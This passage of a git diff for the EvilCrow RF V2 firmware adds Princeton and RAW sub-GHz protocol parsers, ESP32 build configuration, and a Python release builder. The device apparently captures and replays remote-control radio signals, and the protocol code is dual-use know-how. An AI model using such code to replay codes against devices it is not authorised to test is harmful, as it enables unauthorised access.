oss << "Guard_time" << guard_time << "\r\n"; + oss << "Repeat: " << repeat << "\n"; + return oss.str(); +} + +uint32_t PrincetonProtocol::getRepeatCount() const { + return repeat; +} + +std::unique_ptr createPrincetonProtocol() { + return std::make_unique(); +} \ No newline at end of file diff --git a/lib/subghz/protocols/Princeton.h b/lib/subghz/protocols/Princeton.h new file mode 100644 index 0000000..4fdaed6 --- /dev/null +++ b/lib/subghz/protocols/Princeton.h @@ -0,0 +1,31 @@ +#ifndef Princeton_Protocol_h +#define Princeton_Protocol_h + +#include "SubGhzProtocol.h" +#include "compatibility.h" +#include + +#define PRINCETON_GUARD_TIME_DEFALUT 30 //GUARD_TIME = PRINCETON_GUARD_TIME_DEFALUT * TE +// Guard Time value should be between 15 -> 72 otherwise default value will be used + +class PrincetonProtocol : public SubGhzProtocol { +public: + bool parse(File &file) override; + std::vector> getPulseData() const override; + uint32_t getRepeatCount() const override; + std::string serialize() const override; + +private: + uint64_t key = 0; + uint32_t te = 0; + uint32_t repeat = 0; + uint16_t bit_count = 0; + uint32_t guard_time = PRINCETON_GUARD_TIME_DEFALUT; + mutable std::vector> pulseData; + void generatePulseData() const; +}; + +// Factory function +std::unique_ptr createPrincetonProtocol(); + +#endif // Princeton_Protocol_h diff --git a/lib/subghz/protocols/Raw.cpp b/lib/subghz/protocols/Raw.cpp new file mode 100644 index 0000000..534b162 --- /dev/null +++ b/lib/subghz/protocols/Raw.cpp @@ -0,0 +1,42 @@ +#include "Raw.h" +#include // for debugging + +bool RawProtocol::parse(File &file) { + std::string line; + while (file.available()) { + line = file.readStringUntil('\n').c_str(); + if (line.find("RAW_Data:") != std::string::npos) { + std::istringstream iss(line.substr(line.find("RAW_Data:") + 9)); + int32_t duration; + while (iss >> duration) { + if (duration != 0) { + bool pinState = (duration > 0); + pulseData.emplace_back(abs(duration), pinState); + } + } + } + } + return true; +} + +std::vector> RawProtocol::getPulseData() const { + return pulseData; +} + +uint32_t RawProtocol::getRepeatCount() const { + return 1; +} + +std::string RawProtocol::serialize() const { + std::ostringstream oss; + oss << "RAW_Data:"; + for (const auto& pulse : pulseData) { + int32_t duration = pulse.second ? static_cast(pulse.first) : -static_cast(pulse.first); + oss << " " << duration; + } + return oss.str(); +} + +std::unique_ptr createRawProtocol() { + return std::make_unique(); +} diff --git a/lib/subghz/protocols/Raw.h b/lib/subghz/protocols/Raw.h new file mode 100644 index 0000000..aebedf9 --- /dev/null +++ b/lib/subghz/protocols/Raw.h @@ -0,0 +1,22 @@ +#ifndef Raw_Protocol_h +#define Raw_Protocol_h + +#include "SubGhzProtocol.h" +#include "compatibility.h" +#include + +class RawProtocol : public SubGhzProtocol { +public: + bool parse(File &file) override; + std::vector> getPulseData() const override; + uint32_t getRepeatCount() const override; + std::string serialize() const override; + +private: + mutable std::vector> pulseData; +}; + +// Factory function +std::unique_ptr createRawProtocol(); + +#endif // Raw_Protocol_h diff --git a/lib/utility/compatibility.h b/lib/utility/compatibility.h new file mode 100644 index 0000000..6d9e3cb --- /dev/null +++ b/lib/utility/compatibility.h @@ -0,0 +1,18 @@ +#ifndef Compatibility_h +#define Compatibility_h + +#include + +// Provide make_unique for pre-C++14 toolchains that lack it. +// Do not redefine if the standard library already provides std::make_unique. +#if __cplusplus < 201402L +namespace std { +template +std::unique_ptr make_unique(Args&&... args) +{ + return std::unique_ptr(new T(std::forward(args)...)); +} +} // namespace std +#endif + +#endif \ No newline at end of file diff --git a/partitions.csv b/partitions.csv new file mode 100644 index 0000000..91df313 --- /dev/null +++ b/partitions.csv @@ -0,0 +1,7 @@ +# Name, Type, SubType, Offset, Size, Flags +nvs, data, nvs, 0x9000, 0x5000, +otadata, data, ota, 0xe000, 0x2000, +app0, app, ota_0, 0x10000, 0x1D0000, +app1, app, ota_1, 0x1E0000,0x1D0000, +coredump, data, coredump,0x3B0000,0x10000, +littlefs, data, spiffs, 0x3C0000,0x40000, \ No newline at end of file diff --git a/platformio.ini b/platformio.ini new file mode 100644 index 0000000..0f07577 --- /dev/null +++ b/platformio.ini @@ -0,0 +1,78 @@ +; PlatformIO Project Configuration File +; +; Build options: build flags, source filter +; Upload options: custom upload port, speed and extra flags +; Library options: dependencies, extra library storages +; Advanced options: extra scripting +; +; Please visit documentation for the other options and examples +; https://docs.platformio.org/page/projectconf.html + +[env:esp32dev] +platform = espressif32 +board = esp32dev +framework = arduino +board_build.partitions = partitions.csv + +# NimBLE-Arduino: lightweight BLE stack (~30-40KB less RAM than Bluedroid) +lib_deps = + h2zero/NimBLE-Arduino@^1.4.0 + +# PRODUCTION BUILD - SIZE OPTIMIZATIONS +build_flags = + # Debug level - increase for development (0 = no logs, 5 = max verbosity) + -DCORE_DEBUG_LEVEL=3 + + # Size optimization instead of speed + -Os + + # Remove unused functions/data sections + -ffunction-sections + -fdata-sections + -Wl,--gc-sections + + # Disable unused Arduino features + -DARDUINO_USB_MODE=0 + -DARDUINO_USB_CDC_ON_BOOT=0 + + # C++ optimizations - we removed -fno-exceptions for stability + # -fno-exceptions # DISABLED - caused abort() and heap corruption + # -fno-rtti # DISABLED - for reliability + -fno-threadsafe-statics # Kept - safe + + # Additional optimizations + -fmerge-all-constants + -DDISABLE_ALL_LIBRARY_WARNINGS + + # NimBLE memory optimizations (disable unused roles for ~10KB extra savings) + -DCONFIG_BT_NIMBLE_MAX_CONNECTIONS=1 + -DCONFIG_BT_NIMBLE_ROLE_CENTRAL_DISABLED + -DCONFIG_BT_NIMBLE_ROLE_OBSERVER_DISABLED + + # NimBLE host task stack: increased from 4KB to 8KB to prevent + # stack overflow when FileCommands runs SD/FATFS/SPI operations + # inside BLE onWrite callback (see: Stack canary watchpoint triggered nimble_host) + -DCONFIG_BT_NIMBLE_HOST_TASK_STACK_SIZE=8192 + + # Allow including headers colocated inside src/ (migration shim) + -I src + +# build_unflags removed - we keep exceptions enabled for stability +# build_unflags = +# -fexceptions +# -frtti + +# Exclude HttpsOTAUpdate.cpp (needs esp_https_ota.h, IDF-only) +extra_scripts = pre:filter_https_ota.py + +# Disable unused libraries (Update kept for BLE OTA support) +lib_ignore = + HTTPUpdate + +; monitor_filters = esp32_exception_decoder +; build_type = debug + +monitor_speed = 115200 +monitor_filters = + esp32_exception_decoder + time \ No newline at end of file diff --git a/release_builder.py b/release_builder.py new file mode 100644 index 0000000..a1a1e46 --- /dev/null +++ b/release_builder.py @@ -0,0 +1,1176 @@ +#!/usr/bin/env python3 +""" +EvilCrow RF V2 β€” Release Builder with GUI + CLI +================================================= +Creates firmware and/or app release packages with proper naming, +versioning, MD5 hashes, and changelog generation. + +Reads current versions from: + - include/config.h (firmware version) + - mobile_app/pubspec.yaml (app version) + +Outputs: + - releases/firmware/evilcrow-v2-fw-vX.Y.Z.bin + .bin.md5 + - releases/firmware/evilcrow-v2-fw-vX.Y.Z-full.bin (merged OTA-ready) + - releases/app/EvilCrowRF-vX.Y.Z.apk + .apk.md5 + - releases/changelog.json (cumulative changelog) + +Usage: + python release_builder.py # Launch GUI + python release_builder.py --cli # Interactive CLI mode + python release_builder.py --fw # Build firmware only (CLI) + python release_builder.py --apk # Build APK only (CLI) + python release_builder.py --fw --apk # Build both (CLI) + python release_builder.py --fw --test # TEST BUILD (adds -TEST suffix, no version bump) + python release_builder.py --fw --no-bump # Release without version bump + python release_builder.py --help # Show help +""" + +import hashlib +import json +import os +import platform +import re +import shutil +import subprocess +import sys +import threading +from datetime import datetime +from pathlib import Path + +# ─── Determine project root (script lives in project root) ─────────── +SCRIPT_DIR = Path(__file__).resolve().parent +PROJECT_ROOT = SCRIPT_DIR # Script is in the root +CONFIG_H = PROJECT_ROOT / "include" / "config.h" +PUBSPEC_YAML = PROJECT_ROOT / "mobile_app" / "pubspec.yaml" +RELEASES_DIR = PROJECT_ROOT / "releases" +CHANGELOG_FILE = RELEASES_DIR / "changelog.json" +FW_RELEASES_DIR = RELEASES_DIR / "firmware" +APP_RELEASES_DIR = RELEASES_DIR / "app" +PIO_BUILD_DIR = PROJECT_ROOT / ".pio" / "build" / "esp32dev" + + +# ─── Tool Discovery ───────────────────────────────────────────────── + +def get_platformio_core_dir() -> Path: + """Return PlatformIO core dir if configured, else default to ~/.platformio.""" + env_dir = os.environ.get("PLATFORMIO_CORE_DIR") or os.environ.get("PIO_HOME_DIR") + if env_dir: + return Path(env_dir) + return Path.home() / ".platformio" + +def find_platformio_cli() -> str | None: + """Auto-discover PlatformIO CLI executable. + + Search order: + 1. PATH (pio / platformio) + 2. ~/.platformio/penv/Scripts/pio.exe (Windows) + 3. ~/.platformio/penv/bin/pio (Linux/Mac) + 4. Project-local tools/.venv (build_firmware.bat venv) + """ + # 1. System PATH + pio_path = shutil.which("pio") or shutil.which("platformio") + if pio_path: + return pio_path + + home = Path.home() + is_win = platform.system() == "Windows" + pio_core = get_platformio_core_dir() + + # 2-3. Standard PlatformIO installation + candidates = [] + if is_win: + candidates = [ + pio_core / "penv" / "Scripts" / "pio.exe", + pio_core / "penv" / "Scripts" / "platformio.exe", + home / ".platformio" / "penv" / "Scripts" / "pio.exe", + home / ".platformio" / "penv" / "Scripts" / "platformio.exe", + ] + else: + candidates = [ + pio_core / "penv" / "bin" / "pio", + pio_core / "penv" / "bin" / "platformio", + home / ".platformio" / "penv" / "bin" / "pio", + home / ".platformio" / "penv" / "bin" / "platformio", + ] + + # 4. Project-local venv (created by tools/build_firmware.bat) + local_venv = PROJECT_ROOT / "tools" / ".venv" + if is_win: + candidates.append(local_venv / "Scripts" / "platformio.exe") + else: + candidates.append(local_venv / "bin" / "platformio") + + for p in candidates: + if p.is_file(): + return str(p) + + return None + + +def find_flutter_cli() -> str | None: + """Auto-discover Flutter CLI executable.""" + flutter_path = shutil.which("flutter") + if flutter_path: + return flutter_path + + env_root = os.environ.get("FLUTTER_HOME") or os.environ.get("FLUTTER_ROOT") + if env_root: + env_root_path = Path(env_root) + if platform.system() == "Windows": + candidate = env_root_path / "bin" / "flutter.bat" + else: + candidate = env_root_path / "bin" / "flutter" + if candidate.is_file(): + return str(candidate) + + # Common locations + is_win = platform.system() == "Windows" + home = Path.home() + candidates = [] + if is_win: + candidates = [ + home / "flutter" / "bin" / "flutter.bat", + Path("C:/flutter/bin/flutter.bat"), + home / "dev" / "flutter" / "bin" / "flutter.bat", + home / "AppData" / "Local" / "flutter" / "bin" / "flutter.bat", + ] + else: + candidates = [ + home / "flutter" / "bin" / "flutter", + Path("/usr/local/flutter/bin/flutter"), + home / "dev" / "flutter" / "bin" / "flutter", + home / "snap" / "flutter" / "common" / "flutter" / "bin" / "flutter", + ] + + for p in candidates: + if p.is_file(): + return str(p) + + return None + + +# ─── Version Helpers ───────────────────────────────────────────────── + + +# ─── Environment Preparation ──────────────────────────────────────── + +def prepare_environment(log_callback=None) -> bool: + """Prepare the build environment: install PlatformIO (and optionally Flutter). + + This creates a local Python venv and installs PlatformIO if it is not + already available. The function is designed to be fully portable across + machines – no hardcoded paths. + + Steps: + 1. Check if PlatformIO is already reachable β†’ skip if yes. + 2. Create a Python venv under tools/.venv (like build_firmware.bat). + 3. Install PlatformIO into the venv via pip. + 4. Re-check that ``pio`` is now available. + 5. Report Flutter status (installation left to the user). + + Returns True if PlatformIO is usable after the call. + """ + def log(msg): + if log_callback: + log_callback(msg) + else: + print(msg) + + log("=== Prepare Environment ===") + is_win = platform.system() == "Windows" + + # ── 1. Check existing PlatformIO ── + pio = find_platformio_cli() + if pio: + log(f"PlatformIO already available: {pio}") + else: + log("PlatformIO not found β€” installing into local venv...") + + # Find a Python 3 interpreter + python_exe = sys.executable # The Python running this script + log(f"Using Python: {python_exe}") + + venv_dir = PROJECT_ROOT / "tools" / ".venv" + pip_exe = (venv_dir / "Scripts" / "pip.exe") if is_win else (venv_dir / "bin" / "pip") + pio_exe = (venv_dir / "Scripts" / "platformio.exe") if is_win else (venv_dir / "bin" / "platformio") + + # ── 2. Create venv ── + if not venv_dir.exists(): + log(f"Creating venv: {venv_dir}") + try: + result = subprocess.run( + [python_exe, "-m", "venv", str(venv_dir)], + capture_output=True, text=True, timeout=60, + ) + if result.returncode != 0: + log(f"ERROR: Failed to create venv:\n{result.stderr}") + return False + except Exception as e: + log(f"ERROR: venv creation failed: {e}") + return False + else: + log(f"Venv exists: {venv_dir}") + + # ── 3. Install PlatformIO ── + if not pio_exe.exists(): + log("Installing PlatformIO via pip (this may take a few minutes)...") + try: + result = subprocess.run( + [str(pip_exe), "install", "--upgrade", "platformio"], + capture_output=True, text=True, timeout=300, + ) + if result.returncode != 0: + log(f"ERROR: pip install platformio failed:\n{result.stderr}") + return False + log("PlatformIO installed successfully!") + except subprocess.TimeoutExpired: + log("ERROR: PlatformIO installation timed out (300s)") + return False + except Exception as e: + log(f"ERROR: PlatformIO installation failed: {e}") + return False + else: + log(f"PlatformIO already in venv: {pio_exe}") + + # ── 4. Verify ── + pio = find_platformio_cli() + if pio: + log(f"PlatformIO ready: {pio}") + else: + log("ERROR: PlatformIO still not found after installation.") + return False + + # ── 5. Flutter status ── + flutter = find_flutter_cli() + if flutter: + log(f"Flutter available: {flutter}") + else: + log("Flutter NOT found β€” APK builds will not work.") + log(" Install Flutter: https://flutter.dev/docs/get-started/install") + log(" Then add it to PATH or set FLUTTER_HOME env variable.") + + log("") + log("Environment ready!") + log(f" PlatformIO: {find_platformio_cli()}") + log(f" Flutter: {find_flutter_cli() or 'not installed'}") + return True + + +def read_firmware_version() -> str: + """Read FIRMWARE_VERSION_STRING from include/config.h""" + if not CONFIG_H.exists(): + return "0.0.0" + content = CONFIG_H.read_text(encoding="utf-8") + match = re.search(r'#define\s+FIRMWARE_VERSION_STRING\s+"([^"]+)"', content) + return match.group(1) if match else "0.0.0" + + +def read_app_version() -> str: + """Read version from mobile_app/pubspec.yaml""" + if not PUBSPEC_YAML.exists(): + return "0.0.0" + content = PUBSPEC_YAML.read_text(encoding="utf-8") + match = re.search(r'^version:\s*(\d+\.\d+\.\d+)', content, re.MULTILINE) + return match.group(1) if match else "0.0.0" + + +def bump_version(version: str, bump_type: str) -> str: + """Bump a semantic version string. + bump_type: 'major', 'minor', or 'patch' + """ + parts = [int(x) for x in version.split(".")] + while len(parts) < 3: + parts.append(0) + if bump_type == "major": + parts[0] += 1 + parts[1] = 0 + parts[2] = 0 + elif bump_type == "minor": + parts[1] += 1 + parts[2] = 0 + elif bump_type == "patch": + parts[2] += 1 + return f"{parts[0]}.{parts[1]}.{parts[2]}" + + +def write_firmware_version(new_version: str): + """Update FIRMWARE_VERSION_* defines in config.h""" + parts = new_version.split(".") + major, minor, patch = parts[0], parts[1], parts[2] + content = CONFIG_H.read_text(encoding="utf-8") + content = re.sub( + r'#define\s+FIRMWARE_VERSION_MAJOR\s+\d+', + f'#define FIRMWARE_VERSION_MAJOR {major}', content) + content = re.sub( + r'#define\s+FIRMWARE_VERSION_MINOR\s+\d+', + f'#define FIRMWARE_VERSION_MINOR {minor}', content) + content = re.sub( + r'#define\s+FIRMWARE_VERSION_PATCH\s+\d+', + f'#define FIRMWARE_VERSION_PATCH {patch}', content) + content = re.sub( + r'#define\s+FIRMWARE_VERSION_STRING\s+"[^"]+"', + f'#define FIRMWARE_VERSION_STRING "{new_version}"', content) + CONFIG_H.write_text(content, encoding="utf-8") + + +def write_app_version(new_version: str): + """Update version in pubspec.yaml""" + content = PUBSPEC_YAML.read_text(encoding="utf-8") + # Keep or increment the build number + match = re.search(r'^version:\s*\d+\.\d+\.\d+\+(\d+)', content, re.MULTILINE) + build_num = int(match.group(1)) + 1 if match else 1 + content = re.sub( + r'^version:\s*\d+\.\d+\.\d+\+?\d*', + f'version: {new_version}+{build_num}', + content, flags=re.MULTILINE) + PUBSPEC_YAML.write_text(content, encoding="utf-8") + + +# ─── MD5 ───────────────────────────────────────────────────────────── + +def compute_md5(file_path: Path) -> str: + """Compute MD5 hash of a file.""" + h = hashlib.md5() + with open(file_path, "rb") as f: + for chunk in iter(lambda: f.read(8192), b""): + h.update(chunk) + return h.hexdigest() + + +# ─── Changelog ─────────────────────────────────────────────────────── + +def load_changelog() -> dict: + """Load existing changelog.json or create empty structure.""" + if CHANGELOG_FILE.exists(): + with open(CHANGELOG_FILE, "r", encoding="utf-8") as f: + return json.load(f) + return {"firmware": [], "app": []} + + +def save_changelog(data: dict): + """Save changelog.json.""" + RELEASES_DIR.mkdir(parents=True, exist_ok=True) + with open(CHANGELOG_FILE, "w", encoding="utf-8") as f: + json.dump(data, f, indent=2, ensure_ascii=False) + + +def add_changelog_entry( + section: str, # "firmware" or "app" + version: str, + changes_text: str, +): + """Add an entry to the changelog.json.""" + data = load_changelog() + + changes = [] + for line in changes_text.strip().splitlines(): + line = line.strip() + if not line: + continue + type_match = re.match(r'^\[(\w+)\]\s*(.*)', line) + if type_match: + change_type = type_match.group(1).lower() + text = type_match.group(2) + else: + change_type = "improvement" + text = line + if change_type not in ("feature", "fix", "improvement", "breaking", "security"): + change_type = "improvement" + changes.append({"type": change_type, "text": text}) + + entry = { + "version": version, + "date": datetime.now().strftime("%Y-%m-%d"), + "tag": f"{'fw' if section == 'firmware' else 'app'}-v{version}", + "changes": changes, + } + + data.setdefault(section, []).insert(0, entry) + save_changelog(data) + + +# ─── Build Commands ────────────────────────────────────────────────── + +def build_firmware(log_callback=None) -> Path | None: + """Build firmware with PlatformIO. Returns path to .bin or None.""" + def log(msg): + if log_callback: + log_callback(msg) + else: + print(msg) + + pio_cli = find_platformio_cli() + if not pio_cli: + log("ERROR: PlatformIO CLI not found!") + log(" Searched: PATH, ~/.platformio/penv/, tools/.venv/") + log(" Install: pip install platformio or https://platformio.org/install") + return None + + log(f"Using PlatformIO: {pio_cli}") + log("Building firmware...") + + try: + result = subprocess.run( + [pio_cli, "run", "-e", "esp32dev"], + cwd=str(PROJECT_ROOT), + capture_output=True, text=True, timeout=300, + ) + if result.returncode != 0: + log(f"ERROR: Build failed!\n{result.stderr}") + if result.stdout: + log(result.stdout[-2000:]) # Last 2000 chars of output + return None + + log("Build successful!") + bin_path = PIO_BUILD_DIR / "firmware.bin" + if bin_path.exists(): + size_kb = bin_path.stat().st_size / 1024 + log(f" firmware.bin: {size_kb:.1f} KB") + return bin_path + log("ERROR: firmware.bin not found after build") + return None + except FileNotFoundError: + log(f"ERROR: Could not execute '{pio_cli}'. File not found.") + return None + except subprocess.TimeoutExpired: + log("ERROR: Build timed out (300s)") + return None + + +def create_merged_binary(log_callback=None) -> Path | None: + """Create a merged/full binary ready for complete flash or OTA web tool. + + Merges bootloader.bin + partitions.bin + boot_app0.bin + firmware.bin + at their correct flash offsets into a single file. + + This binary can be flashed with: + esptool.py write_flash 0x0 firmware-full.bin + """ + def log(msg): + if log_callback: + log_callback(msg) + else: + print(msg) + + # Expected files from PlatformIO build + bootloader = PIO_BUILD_DIR / "bootloader.bin" + partitions = PIO_BUILD_DIR / "partitions.bin" + firmware = PIO_BUILD_DIR / "firmware.bin" + + # boot_app0.bin is in the framework packages or build dir + boot_app0 = None + pio_core = get_platformio_core_dir() + pkg_base = pio_core / "packages" + candidates = [ + PIO_BUILD_DIR / "boot_app0.bin", + pkg_base / "framework-arduinoespressif32" / "tools" / "partitions" / "boot_app0.bin", + pkg_base / "framework-arduinoespressif32" / "tools" / "boot_app0.bin", + pkg_base / "tool-esptoolpy" / "boot_app0.bin", + ] + + for candidate in candidates: + if candidate.is_file(): + boot_app0 = candidate + break + + if not boot_app0 and pkg_base.is_dir(): + for candidate in pkg_base.rglob("boot_app0.bin"): + if "esp32" in str(candidate).lower(): + boot_app0 = candidate + break + + # Check all required files exist + missing = [] + if not bootloader.exists(): + missing.append("bootloader.bin") + if not partitions.exists(): + missing.append("partitions.bin") + if not firmware.exists(): + missing.append("firmware.bin") + + if missing: + log(f"ERROR: Missing build artifacts: {', '.join(missing)}") + log(" Run a full build first (pio run)") + return None + + # Flash layout for ESP32 (from partitions.csv): + # 0x1000 bootloader.bin + # 0x8000 partitions.bin + # 0xE000 boot_app0.bin (OTA data init) + # 0x10000 firmware.bin (app0 partition) + offsets = { + 0x1000: bootloader, + 0x8000: partitions, + 0x10000: firmware, + } + + if boot_app0 and boot_app0.exists(): + offsets[0xE000] = boot_app0 + log(f" boot_app0.bin: {boot_app0}") + else: + log(" WARNING: boot_app0.bin not found β€” merged binary may not support OTA boot switching") + + # Calculate total size (from start to end of firmware) + sorted_offsets = sorted(offsets.items()) + last_offset, last_file = sorted_offsets[-1] + total_size = last_offset + last_file.stat().st_size + + # Create merged binary (fill gaps with 0xFF β€” flash erased state) + merged = bytearray(b'\xFF' * total_size) + + for offset, filepath in sorted_offsets: + data = filepath.read_bytes() + merged[offset:offset + len(data)] = data + log(f" @0x{offset:05X}: {filepath.name} ({len(data)} bytes)") + + # Write merged binary + merged_path = PIO_BUILD_DIR / "firmware-full.bin" + merged_path.write_bytes(bytes(merged)) + + size_kb = len(merged) / 1024 + log(f"Merged binary: {merged_path.name} ({size_kb:.1f} KB)") + return merged_path + + +def build_apk(log_callback=None) -> Path | None: + """Build APK with Flutter. Returns path to .apk or None.""" + def log(msg): + if log_callback: + log_callback(msg) + else: + print(msg) + + flutter_cli = find_flutter_cli() + if not flutter_cli: + log("ERROR: Flutter CLI not found!") + log(" Searched: PATH, ~/flutter/bin/") + log(" Install: https://flutter.dev/docs/get-started/install") + return None + + log(f"Using Flutter: {flutter_cli}") + mobile_dir = PROJECT_ROOT / "mobile_app" + + try: + # Setup Android SDK if setup script exists (auto-enter on prompts) + setup_script = mobile_dir / "scripts" / "setup_windows_android_toolkit.ps1" + if platform.system() == "Windows" and setup_script.exists(): + log("Setting up Android SDK (auto)...") + try: + subprocess.run( + ["powershell", "-ExecutionPolicy", "Bypass", + "-NonInteractive", "-File", str(setup_script)], + cwd=str(mobile_dir), + capture_output=True, text=True, timeout=180, + input="", # Auto-enter for any Read-Host prompts + ) + except (subprocess.TimeoutExpired, Exception) as e: + log(f" Android SDK setup warning: {e}") + + # flutter pub get + log("Running flutter pub get...") + result = subprocess.run( + [flutter_cli, "pub", "get"], + cwd=str(mobile_dir), + capture_output=True, text=True, timeout=120, + ) + if result.returncode != 0: + log(f"WARNING: flutter pub get failed:\n{result.stderr}") + + # flutter build apk --release + log("Building APK (release mode)...") + result = subprocess.run( + [flutter_cli, "build", "apk", "--release"], + cwd=str(mobile_dir), + capture_output=True, text=True, timeout=600, + ) + if result.returncode != 0: + log(f"ERROR: APK build failed!\n{result.stderr}") + if result.stdout: + log(result.stdout[-2000:]) + return None + + log("APK build successful!") + apk_path = mobile_dir / "build" / "app" / "outputs" / "flutter-apk" / "app-release.apk" + if apk_path.exists(): + size_mb = apk_path.stat().st_size / (1024 * 1024) + log(f" app-release.apk: {size_mb:.1f} MB") + return apk_path + log("ERROR: app-release.apk not found after build") + return None + except FileNotFoundError: + log(f"ERROR: Could not execute '{flutter_cli}'. File not found.") + return None + except subprocess.TimeoutExpired: + log("ERROR: APK build timed out (600s)") + return None + + +# ─── Package Release ───────────────────────────────────────────────── + +def package_firmware_release(version: str, bin_path: Path, log_callback=None, + test_build: bool = False) -> bool: + """Copy firmware .bin to releases/firmware/ with proper naming and MD5.""" + def log(msg): + if log_callback: + log_callback(msg) + else: + print(msg) + + FW_RELEASES_DIR.mkdir(parents=True, exist_ok=True) + suffix = "-TEST" if test_build else "" + dest_name = f"evilcrow-v2-fw-v{version}{suffix}-OTA.bin" + dest_path = FW_RELEASES_DIR / dest_name + md5_path = FW_RELEASES_DIR / f"{dest_name}.md5" + + shutil.copy2(bin_path, dest_path) + md5_hash = compute_md5(dest_path) + md5_path.write_text(md5_hash, encoding="utf-8") + + size_kb = dest_path.stat().st_size / 1024 + log(f"Firmware: {dest_path.name} ({size_kb:.1f} KB)") + log(f"MD5: {md5_hash}") + + # Also create merged/full binary for complete flash + log("Creating merged OTA-ready binary...") + merged = create_merged_binary(log_callback=log) + if merged: + full_name = f"evilcrow-v2-fw-v{version}{suffix}-full.bin" + full_dest = FW_RELEASES_DIR / full_name + full_md5_path = FW_RELEASES_DIR / f"{full_name}.md5" + shutil.copy2(merged, full_dest) + full_md5 = compute_md5(full_dest) + full_md5_path.write_text(full_md5, encoding="utf-8") + log(f"Full: {full_dest.name} ({full_dest.stat().st_size / 1024:.1f} KB)") + + return True + + +def package_app_release(version: str, apk_path: Path, log_callback=None, + test_build: bool = False) -> bool: + """Copy APK to releases/app/ with proper naming and MD5.""" + def log(msg): + if log_callback: + log_callback(msg) + else: + print(msg) + + APP_RELEASES_DIR.mkdir(parents=True, exist_ok=True) + suffix = "-TEST" if test_build else "" + dest_name = f"EvilCrowRF-v{version}{suffix}.apk" + dest_path = APP_RELEASES_DIR / dest_name + md5_path = APP_RELEASES_DIR / f"{dest_name}.md5" + + shutil.copy2(apk_path, dest_path) + md5_hash = compute_md5(dest_path) + md5_path.write_text(md5_hash, encoding="utf-8") + + size_mb = dest_path.stat().st_size / (1024 * 1024) + log(f"APK: {dest_path.name} ({size_mb:.1f} MB)") + log(f"MD5: {md5_hash}") + return True + + +# ===================================================================== +# CLI Mode +# ===================================================================== + +def cli_release_firmware(bump_type: str = "patch", changelog: str = "", + log_callback=None, test_build: bool = False, + no_bump: bool = False): + """Build and release firmware from CLI.""" + def log(msg): + if log_callback: + log_callback(msg) + else: + print(msg) + + current = read_firmware_version() + if test_build or no_bump: + version = current + label = "TEST BUILD" if test_build else "Release (no version bump)" + log(f"=== Firmware {label} v{version} ===") + else: + version = bump_version(current, bump_type) + log(f"=== Firmware Release v{version} (was {current}) ===") + write_firmware_version(version) + log(f"Updated config.h -> {version}") + + bin_path = build_firmware(log_callback=log) + if bin_path is None: + log("ABORTED: Firmware build failed.") + return False + + package_firmware_release(version, bin_path, log_callback=log, + test_build=test_build) + + if changelog.strip(): + add_changelog_entry("firmware", version, changelog) + log("Changelog updated.") + + log(f"OK: Firmware v{version} ready in releases/firmware/") + log("") + log("Which binary to use:") + log(f" OTA update (from app/BLE): evilcrow-v2-fw-v{version}-OTA.bin") + log(f" Web flasher / first flash: evilcrow-v2-fw-v{version}-full.bin") + log(f" esptool manual flash: esptool.py write_flash 0x0 evilcrow-v2-fw-v{version}-full.bin") + log("") + log(f" Git tag: git tag fw-v{version} && git push origin fw-v{version}") + return True + + +def cli_release_apk(bump_type: str = "patch", changelog: str = "", + log_callback=None, test_build: bool = False, + no_bump: bool = False): + """Build and release APK from CLI.""" + def log(msg): + if log_callback: + log_callback(msg) + else: + print(msg) + + current = read_app_version() + if test_build or no_bump: + version = current + label = "TEST BUILD" if test_build else "Release (no version bump)" + log(f"=== App {label} v{version} ===") + else: + version = bump_version(current, bump_type) + log(f"=== App Release v{version} (was {current}) ===") + write_app_version(version) + log(f"Updated pubspec.yaml -> {version}") + + apk_path = build_apk(log_callback=log) + if apk_path is None: + log("ABORTED: APK build failed.") + return False + + package_app_release(version, apk_path, log_callback=log, + test_build=test_build) + + if changelog.strip(): + add_changelog_entry("app", version, changelog) + log("Changelog updated.") + + log(f"OK: App v{version} ready in releases/app/") + log(f" Git tag: git tag app-v{version} && git push origin app-v{version}") + return True + + +def cli_interactive(): + """Interactive CLI mode when --cli is passed.""" + print("=" * 50) + print(" EvilCrow RF V2 β€” Release Builder (CLI)") + print("=" * 50) + print() + print(f" Project root: {PROJECT_ROOT}") + print(f" FW version: {read_firmware_version()}") + print(f" App version: {read_app_version()}") + print(f" PlatformIO: {find_platformio_cli() or 'NOT FOUND'}") + print(f" Flutter: {find_flutter_cli() or 'NOT FOUND'}") + print() + print(" 1. Release Firmware") + print(" 2. Release App") + print(" 3. Release Both") + print(" 4. Build firmware only (no release)") + print(" 5. Create merged binary from existing build") + print(" 6. Prepare Environment (install PlatformIO)") + print(" 0. Exit") + print() + choice = input("Select [0-6]: ").strip() + + if choice == "0": + return + elif choice == "1": + bump = input("Bump type [major/minor/patch] (default: patch): ").strip() or "patch" + cl = input("Changelog (one line, or empty): ").strip() + cli_release_firmware(bump, cl) + elif choice == "2": + bump = input("Bump type [major/minor/patch] (default: patch): ").strip() or "patch" + cl = input("Changelog (one line, or empty): ").strip() + cli_release_apk(bump, cl) + elif choice == "3": + bump = input("Bump type [major/minor/patch] (default: patch): ").strip() or "patch" + cl = input("Changelog (one line, or empty): ").strip() + cli_release_firmware(bump, cl) + cli_release_apk(bump, cl) + elif choice == "4": + build_firmware() + elif choice == "5": + create_merged_binary() + elif choice == "6": + prepare_environment() + else: + print("Invalid choice.") + + +# ===================================================================== +# GUI (Tkinter) +# ===================================================================== + +def launch_gui(): + """Launch the release builder GUI.""" + import tkinter as tk + from tkinter import scrolledtext, ttk + + root = tk.Tk() + root.title("EvilCrow RF V2 β€” Release Builder") + root.geometry("720x780") + root.resizable(True, True) + root.configure(bg="#0a0a0a") + + # Styling + style = ttk.Style() + style.theme_use("clam") + style.configure(".", background="#0a0a0a", foreground="#00e676", + fieldbackground="#1a1a1a", font=("Consolas", 10)) + style.configure("TLabel", background="#0a0a0a", foreground="#d4eed4", + font=("Consolas", 10)) + style.configure("TLabelframe", background="#0a0a0a", foreground="#00e676", + font=("Consolas", 10, "bold")) + style.configure("TLabelframe.Label", background="#0a0a0a", + foreground="#00e676", font=("Consolas", 10, "bold")) + style.configure("TButton", background="#1a3a1a", foreground="#00e676", + font=("Consolas", 10, "bold"), padding=6) + style.map("TButton", + background=[("active", "#00e676")], + foreground=[("active", "#0a0a0a")]) + style.configure("TRadiobutton", background="#0a0a0a", foreground="#d4eed4", + font=("Consolas", 10)) + style.configure("TCheckbutton", background="#0a0a0a", foreground="#d4eed4", + font=("Consolas", 10)) + + # Read current versions + current_fw = read_firmware_version() + current_app = read_app_version() + + # ── Title ── + title_label = tk.Label(root, text="EvilCrow RF V2 β€” Release Builder", + bg="#0a0a0a", 